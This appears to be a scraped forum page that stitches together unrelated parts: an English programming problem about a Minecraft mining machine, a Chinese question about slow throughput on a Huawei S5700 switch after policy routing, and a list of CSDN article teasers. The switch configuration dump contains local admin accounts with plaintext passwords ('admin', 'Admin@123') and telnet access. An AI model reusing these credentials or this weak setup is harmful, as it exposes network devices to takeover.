Bob is recently playing a game called Minecraft, especially a mod called Industrialcraft 2. The things you can do in this mod is to build machines. One of the basic machines is Miner. The Automated Miner is the lazy man's answer to mining. Once you place the miner on the ground, then place a drill together with a scanner in the right position and provide enough electricity and mining pipes, the miner will automatically place mining pipes under it and mines all the ores in the scan range of the scanner. Miner However, Bob found that the miner's AI is limited, it follows the greedy strategy when mining, so there exists potential space for improvement to its electricity cost. Mining is processed layer by layer. The range n*n is determined by the scanner you are using. It can be 5*5, 7*7 or 9*9. So the problem you are facing now is to design the best strategy which wastes the least electricity on useless stones. A map of the current layer will be provided to you. It is of size n*n. A typical map of size 5*5 is shown below. 00111 00191 09vX1 09X2@ 099@1 'v' shows the position of the drill, that block has already been mined. It is guaranteed 'v' is at the center of this square region, and there is only one 'v' in each map. '0'-'9' in the map shows a stone which requires the digit amount of electricity. For example, '9' means there is a stone at that position which requires 9 units of electricity to be mined. '@' shows a block with a precious ore. 'X' shows a block with an obstacle. Your drill is not powerful enough to mine this obstacle. A block can be mined only after at least one of its adjacent blocks has already been mined. The block where the drill is in has already been mined. Two blocks are adjacent if they share an edge. Your task is to tell the least units of electricity required to mine all the ores in a given map. Note that, in Minecraft, ores are generated following specific rules. Generally, ore blocks appear together, they are generated as ore clusters. *@* @@@ *@* The previous picture is a basic ore cluster, '*' can be any block. *@@* @@@@ *@@* The previous picture shows two ore clusters stacking together. Note that Uranium ore being extremely precious does not appear as ore clusters. They can appear in any shape. However, there will not be more than 3 Uranium ores in a single map. Input There are multiple cases. The first line contains one integer T which is the number of test cases. For each case, the first line contains an integer n( 5 ≤ n ≤ 9, n is an odd number). For the next n lines, each line contains n characters showing the map. Note that, the map will contain only complete ore clusters. There will not be more than 3 Uranium ores on the map. Output One integer for each test case indicating the least units of electricity required to mine all ores. In case, it is impossible to mine all the ores, just output -1 instead. Sample Input 3 5 11111 X1111 XXv11 @X111 1X111 5 @100@ 32@00 0@v@0 00@00 0000@ 7 0@00000 @@@0000 0@03000 002v100 0005000 0000000 0000000 Sample Output -1 1 1

华为交换机做过策略路由后网速慢,我是30m专线,但是测速只有上传10k,下载300k

dis cur # !Software Version V100R005C01SPC100 sysname Quidway # dns server 202.102.224.68 dns server 114.114.114.114 # vlan batch 2 to 11 50 200 400 # dhcp enable # http server load flash:/S5700EI-V100R005C01SPC100.web.zip # acl number 2001 rule 5 permit source 192.168.119.199 0 rule 10 permit source 192.168.111.200 0 rule 15 permit source 192.168.112.200 0 rule 20 permit source 192.168.114.200 0 # traffic classifier f1 operator and if-match acl 2001 # traffic behavior b1 ---- More ----[42D [42D redirect ip-nexthop 192.168.5.254 car cir 6000 pir 10000 cbs 750000 pbs 1250000 green pass yellow pass red discard # traffic policy p1 classifier f1 behavior b1 # vlan 3 traffic-policy p1 inbound vlan 4 traffic-policy p1 inbound vlan 6 traffic-policy p1 inbound vlan 11 traffic-policy p1 inbound vlan 50 description lvyoumeiti # aaa authentication-scheme default authorization-scheme default accounting-scheme default domain default domain default_admin ---- More ----[42D [42D local-user admin password simple admin local-user admin privilege level 15 local-user admin service-type telnet http local-user quidway password simple Admin@123 local-user quidway privilege level 15 local-user quidway ftp-directory flash: local-user quidway service-type telnet terminal ssh ftp web http # interface Vlanif2 ip address 192.168.110.1 255.255.255.0 # interface Vlanif3 ip address 192.168.111.1 255.255.255.0 # interface Vlanif4 ip address 192.168.112.1 255.255.255.0 # interface Vlanif5 ip address 192.168.113.1 255.255.255.0 # interface Vlanif6 ip address 192.168.114.1 255.255.255.0 # ---- More ----[42D [42Dinterface Vlanif7 ip address 192.168.115.1 255.255.255.0 # interface Vlanif8 ip address 192.168.116.1 255.255.255.0 # interface Vlanif9 ip address 192.168.117.1 255.255.255.0 # interface Vlanif10 ip address 192.168.118.1 255.255.255.0 # interface Vlanif11 ip address 192.168.119.1 255.255.255.0 # interface Vlanif50 description lvyoumeiti ip address 192.168.5.253 255.255.255.0 # interface Vlanif400 ip address 192.168.4.1 255.255.255.0 # interface MEth0/0/1 ---- More ----[42D [42D# interface Eth-Trunk1 port link-type trunk port trunk allow-pass vlan 2 mode lacp-static bpdu enable # interface GigabitEthernet0/0/1 port link-type access port default vlan 2 # interface GigabitEthernet0/0/2 port link-type access port default vlan 2 # interface GigabitEthernet0/0/3 port link-type access port default vlan 2 # interface GigabitEthernet0/0/4 port link-type access port default vlan 2 # ---- More ----[42D [42Dinterface GigabitEthernet0/0/5 port link-type access port default vlan 2 # interface GigabitEthernet0/0/6 port link-type access port default vlan 2 # interface GigabitEthernet0/0/7 port link-type access port default vlan 2 # interface GigabitEthernet0/0/8 port link-type access port default vlan 2 # interface GigabitEthernet0/0/9 port link-type access port default vlan 2 # interface GigabitEthernet0/0/10 port link-type access port default vlan 2 ---- More ----[42D [42D# interface GigabitEthernet0/0/11 port link-type access port default vlan 2 # interface GigabitEthernet0/0/12 port link-type access port default vlan 2 # interface GigabitEthernet0/0/13 port link-type access port default vlan 2 # interface GigabitEthernet0/0/14 port link-type access port default vlan 2 # interface GigabitEthernet0/0/15 port link-type access port default vlan 2 # interface GigabitEthernet0/0/16 port link-type access ---- More ----[42D [42D port default vlan 2 # interface GigabitEthernet0/0/17 port link-type access port default vlan 2 # interface GigabitEthernet0/0/18 port link-type access port default vlan 2 # interface GigabitEthernet0/0/19 port link-type access port default vlan 4 # interface GigabitEthernet0/0/20 port link-type access port default vlan 6 # interface GigabitEthernet0/0/21 port link-type access port default vlan 7 # interface GigabitEthernet0/0/22 ---- More ----[42D [42D port link-type access port default vlan 3 # interface GigabitEthernet0/0/23 port link-type access port default vlan 2 # interface GigabitEthernet0/0/24 port link-type access port default vlan 2 # interface GigabitEthernet0/0/25 port link-type access port default vlan 5 # interface GigabitEthernet0/0/26 port link-type access port default vlan 2 # interface GigabitEthernet0/0/27 port link-type access port default vlan 9 # ---- More ----[42D [42Dinterface GigabitEthernet0/0/28 port link-type access port default vlan 2 # interface GigabitEthernet0/0/29 port link-type access port default vlan 10 # interface GigabitEthernet0/0/30 port link-type access port default vlan 2 # interface GigabitEthernet0/0/31 eth-trunk 1 # interface GigabitEthernet0/0/32 port link-type access port default vlan 2 # interface GigabitEthernet0/0/33 port link-type access port default vlan 11 # ---- More ----[42D [42Dinterface GigabitEthernet0/0/34 port link-type access port default vlan 2 # interface GigabitEthernet0/0/35 port link-type access port default vlan 2 # interface GigabitEthernet0/0/36 port link-type access port default vlan 8 # interface GigabitEthernet0/0/37 port link-type access port default vlan 2 # interface GigabitEthernet0/0/38 port link-type access port default vlan 2 # interface GigabitEthernet0/0/39 port link-type access port default vlan 2 ---- More ----[42D [42D# interface GigabitEthernet0/0/40 port link-type access port default vlan 2 # interface GigabitEthernet0/0/41 port link-type access port default vlan 2 # interface GigabitEthernet0/0/42 port link-type access port default vlan 2 # interface GigabitEthernet0/0/43 eth-trunk 1 # interface GigabitEthernet0/0/44 port link-type access port default vlan 6 # interface GigabitEthernet0/0/45 port link-type access port default vlan 2 ---- More ----[42D [42D# interface GigabitEthernet0/0/46 port link-type access port default vlan 2 # interface GigabitEthernet0/0/47 port link-type access port default vlan 2 # interface GigabitEthernet0/0/48 port link-type access port default vlan 50 # interface NULL0 # ip route-static 0.0.0.0 0.0.0.0 192.168.110.254 ip route-static 41.0.0.0 255.0.0.0 192.168.110.189 ip route-static 172.18.0.0 255.255.0.0 192.168.110.150 ip route-static 192.0.0.0 255.0.0.0 192.168.110.189 ip route-static 192.168.3.0 255.255.255.0 192.168.4.0 ip route-static 192.168.5.0 255.255.255.0 192.168.5.254 # snmp-agent ---- More ----[42D [42D snmp-agent local-engineid 000007DB7F00000100002763 snmp-agent sys-info version v3 # user-interface con 0 idle-timeout 0 0 user-interface vty 0 4 authentication-mode aaa # return <Quidway>

在中国程序员是青春饭吗?

今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...

程序员请照顾好自己,周末病魔差点一套带走我。

程序员在一个周末的时间,得了重病,差点当场去世,还好及时挽救回来了。

和黑客斗争的 6 天!

互联网公司工作,很难避免不和黑客们打交道,我呆过的两家互联网公司,几乎每月每天每分钟都有黑客在公司网站上扫描。有的是寻找 Sql 注入的缺口,有的是寻找线上服务器可能存在的漏洞,大部分都...

点沙成金:英特尔芯片制造全过程揭密

“亚马逊丛林里的蝴蝶扇动几下翅膀就可能引起两周后美国德州的一次飓风……” 这句人人皆知的话最初用来描述非线性系统中微小参数的变化所引起的系统极大变化。 而在更长的时间尺度内,我们所生活的这个世界就是这样一个异常复杂的非线性系统…… 水泥、穹顶、透视——关于时间与技艺的蝴蝶效应 公元前3000年,古埃及人将尼罗河中挖出的泥浆与纳特龙盐湖中的矿物盐混合,再掺入煅烧石灰石制成的石灰,由此得来了人...

上班一个月,后悔当初着急入职的选择了

最近有个老铁,告诉我说,上班一个月,后悔当初着急入职现在公司了。他之前在美图做手机研发,今年美图那边今年也有一波组织优化调整,他是其中一个,在协商离职后,当时捉急找工作上班,因为有房贷供着,不能没有收入来源。所以匆忙选了一家公司,实际上是一个大型外包公司,主要派遣给其他手机厂商做外包项目。**当时承诺待遇还不错,所以就立马入职去上班了。但是后面入职后,发现薪酬待遇这块并不是HR所说那样,那个HR自...

女程序员,为什么比男程序员少???

昨天看到一档综艺节目,讨论了两个话题:(1)中国学生的数学成绩,平均下来看,会比国外好?为什么?(2)男生的数学成绩,平均下来看,会比女生好?为什么?同时,我又联想到了一个技术圈经常讨...

副业收入是我做程序媛的3倍,工作外的B面人生是怎样的?

提到“程序员”,多数人脑海里首先想到的大约是:为人木讷、薪水超高、工作枯燥…… 然而,当离开工作岗位,撕去层层标签,脱下“程序员”这身外套,有的人生动又有趣,马上展现出了完全不同的A/B面人生! 不论是简单的爱好,还是正经的副业,他们都干得同样出色。偶尔,还能和程序员的特质结合,产生奇妙的“化学反应”。 @Charlotte:平日素颜示人,周末美妆博主 大家都以为程序媛也个个不修边幅,但我们也许...

如果你是老板,你会不会踢了这样的员工?

有个好朋友ZS,是技术总监,昨天问我:“有一个老下属,跟了我很多年,做事勤勤恳恳,主动性也很好。但随着公司的发展,他的进步速度,跟不上团队的步伐了,有点...

我入职阿里后,才知道原来简历这么写

私下里,有不少读者问我:“二哥,如何才能写出一份专业的技术简历呢?我总感觉自己写的简历太烂了,所以投了无数份,都石沉大海了。”说实话,我自己好多年没有写过简历了,但我认识的一个同行,他在阿里,给我说了一些他当年写简历的方法论,我感觉太牛逼了,实在是忍不住,就分享了出来,希望能够帮助到你。 01、简历的本质 作为简历的撰写者,你必须要搞清楚一点,简历的本质是什么,它就是为了来销售你的价值主张的。往深...

外包程序员的幸福生活

今天给你们讲述一个外包程序员的幸福生活。男主是Z哥,不是在外包公司上班的那种,是一名自由职业者,接外包项目自己干。接下来讲的都是真人真事。 先给大家介绍一下男主,Z哥,老程序员,是我十多年前的老同事,技术大牛,当过CTO,也创过业。因为我俩都爱好喝酒、踢球,再加上住的距离不算远,所以一直也断断续续的联系着,我对Z哥的状况也有大概了解。 Z哥几年前创业失败,后来他开始干起了外包,利用自己的技术能...

C++11:一些微小的变化(新的数据类型、template表达式内的空格、nullptr、std::nullptr_t)

本文介绍一些C++的两个新特性,它们虽然微小,但对你的编程十分重要 一、Template表达式内的空格 C++11标准之前建议在“在两个template表达式的闭符之间放一个空格”的要求已经过时了 例如: vector&lt;list&lt;int&gt; &gt;; //C++11之前 vector&lt;list&lt;int&gt;&gt;; //C++11 二、nullptr ...

优雅的替换if-else语句

场景 日常开发,if-else语句写的不少吧??当逻辑分支非常多的时候,if-else套了一层又一层,虽然业务功能倒是实现了,但是看起来是真的很不优雅,尤其是对于我这种有强迫症的程序"猿",看到这么多if-else,脑袋瓜子就嗡嗡的,总想着解锁新姿势:干掉过多的if-else!!!本文将介绍三板斧手段: 优先判断条件,条件不满足的,逻辑及时中断返回; 采用策略模式+工厂模式; 结合注解,锦...

深入剖析Springboot启动原理的底层源码,再也不怕面试官问了!

大家现在应该都对Springboot很熟悉,但是你对他的启动原理了解吗?

离职半年了,老东家又发 offer,回不回?

有小伙伴问松哥这个问题,他在上海某公司,在离职了几个月后,前公司的领导联系到他,希望他能够返聘回去,他很纠结要不要回去? 俗话说好马不吃回头草,但是这个小伙伴既然感到纠结了,我觉得至少说明了两个问题:1.曾经的公司还不错;2.现在的日子也不是很如意。否则应该就不会纠结了。 老实说,松哥之前也有过类似的经历,今天就来和小伙伴们聊聊回头草到底吃不吃。 首先一个基本观点,就是离职了也没必要和老东家弄的苦...

为什么你不想学习?只想玩?人是如何一步一步废掉的

不知道是不是只有我这样子,还是你们也有过类似的经历。 上学的时候总有很多光辉历史,学年名列前茅,或者单科目大佬,但是虽然慢慢地长大了,你开始懈怠了,开始废掉了。。。 什么?你说不知道具体的情况是怎么样的? 我来告诉你: 你常常潜意识里或者心理觉得,自己真正的生活或者奋斗还没有开始。总是幻想着自己还拥有大把时间,还有无限的可能,自己还能逆风翻盘,只不是自己还没开始罢了,自己以后肯定会变得特别厉害...

为什么程序员做外包会被瞧不起?

二哥,有个事想询问下您的意见,您觉得应届生值得去外包吗?公司虽然挺大的,中xx,但待遇感觉挺低,马上要报到,挺纠结的。

当HR压你价,说你只值7K,你该怎么回答?

当HR压你价,说你只值7K时,你可以流畅地回答,记住,是流畅,不能犹豫。 礼貌地说:“7K是吗?了解了。嗯~其实我对贵司的面试官印象很好。只不过,现在我的手头上已经有一份11K的offer。来面试,主要也是自己对贵司挺有兴趣的,所以过来看看……”(未完) 这段话主要是陪HR互诈的同时,从公司兴趣,公司职员印象上,都给予对方正面的肯定,既能提升HR的好感度,又能让谈判气氛融洽,为后面的发挥留足空间。...

面试:第十六章:Java中级开发(16k)

HashMap底层实现原理,红黑树,B+树,B树的结构原理 Spring的AOP和IOC是什么?它们常见的使用场景有哪些?Spring事务,事务的属性,传播行为,数据库隔离级别 Spring和SpringMVC,MyBatis以及SpringBoot的注解分别有哪些?SpringMVC的工作原理,SpringBoot框架的优点,MyBatis框架的优点 SpringCould组件有哪些,他们...

面试阿里p7,被按在地上摩擦,鬼知道我经历了什么?

面试阿里p7被问到的问题(当时我只知道第一个):@Conditional是做什么的?@Conditional多个条件是什么逻辑关系?条件判断在什么时候执...

面试了一个 31 岁程序员,让我有所触动,30岁以上的程序员该何去何从?

最近面试了一个31岁8年经验的程序猿,让我有点感慨,大龄程序猿该何去何从。

【阿里P6面经】二本,curd两年,疯狂复习,拿下阿里offer

二本的读者,在老东家不断学习,最后逆袭

大三实习生,字节跳动面经分享,已拿Offer

说实话,自己的算法,我一个不会,太难了吧

程序员垃圾简历长什么样?

已经连续五年参加大厂校招、社招的技术面试工作,简历看的不下于万份 这篇文章会用实例告诉你,什么是差的程序员简历! 疫情快要结束了,各个公司也都开始春招了,作为即将红遍大江南北的新晋UP主,那当然要为小伙伴们做点事(手动狗头)。 就在公众号里公开征简历,义务帮大家看,并一一点评。《启舰:春招在即,义务帮大家看看简历吧》 一石激起千层浪,三天收到两百多封简历。 花光了两个星期的所有空闲时...

《经典算法案例》01-08:如何使用质数设计扫雷(Minesweeper)游戏

我们都玩过Windows操作系统中的经典游戏扫雷(Minesweeper),如果把质数当作一颗雷,那么,表格中红色的数字哪些是雷(质数)?您能找出多少个呢?文中用列表的方式罗列了10000以内的自然数、质数(素数),6的倍数等,方便大家观察质数的分布规律及特性,以便对算法求解有指导意义。另外,判断质数是初学算法,理解算法重要性的一个非常好的案例。

《Oracle Java SE编程自学与面试指南》最佳学习路线图(2020最新版)

正确选择比瞎努力更重要!

面试官:你连SSO都不懂,就别来面试了

大厂竟然要考我SSO,卧槽。

微软为一人收购一公司?破解索尼程序、写黑客小说,看他彪悍的程序人生!...

作者 | 伍杏玲出品 | CSDN(ID:CSDNnews)格子衬衫、常掉发、双肩包、修电脑、加班多……这些似乎成了大众给程序员的固定标签。近几年流行的“跨界风”开始刷新人们对程序员的...

终于,月薪过5万了!

来看几个问题想不想月薪超过5万?想不想进入公司架构组?想不想成为项目组的负责人?想不想成为spring的高手,超越99%的对手?那么本文内容是你必须要掌握的。本文主要详解bean的生命...

我说我懂多线程,面试官立马给我发了offer

不小心拿了几个offer,有点烦

自从喜欢上了B站这12个UP主,我越来越觉得自己是个废柴了!

不怕告诉你,我自从喜欢上了这12个UP主,哔哩哔哩成为了我手机上最耗电的软件,几乎每天都会看,可是吧,看的越多,我就越觉得自己是个废柴,唉,老天不公啊,不信你看看…… 间接性踌躇满志,持续性混吃等死,都是因为你们……但是,自己的学习力在慢慢变强,这是不容忽视的,推荐给你们! 都说B站是个宝,可是有人不会挖啊,没事,今天咱挖好的送你一箩筐,首先啊,我在B站上最喜欢看这个家伙的视频了,为啥 ,咱撇...

立即提问
相关内容推荐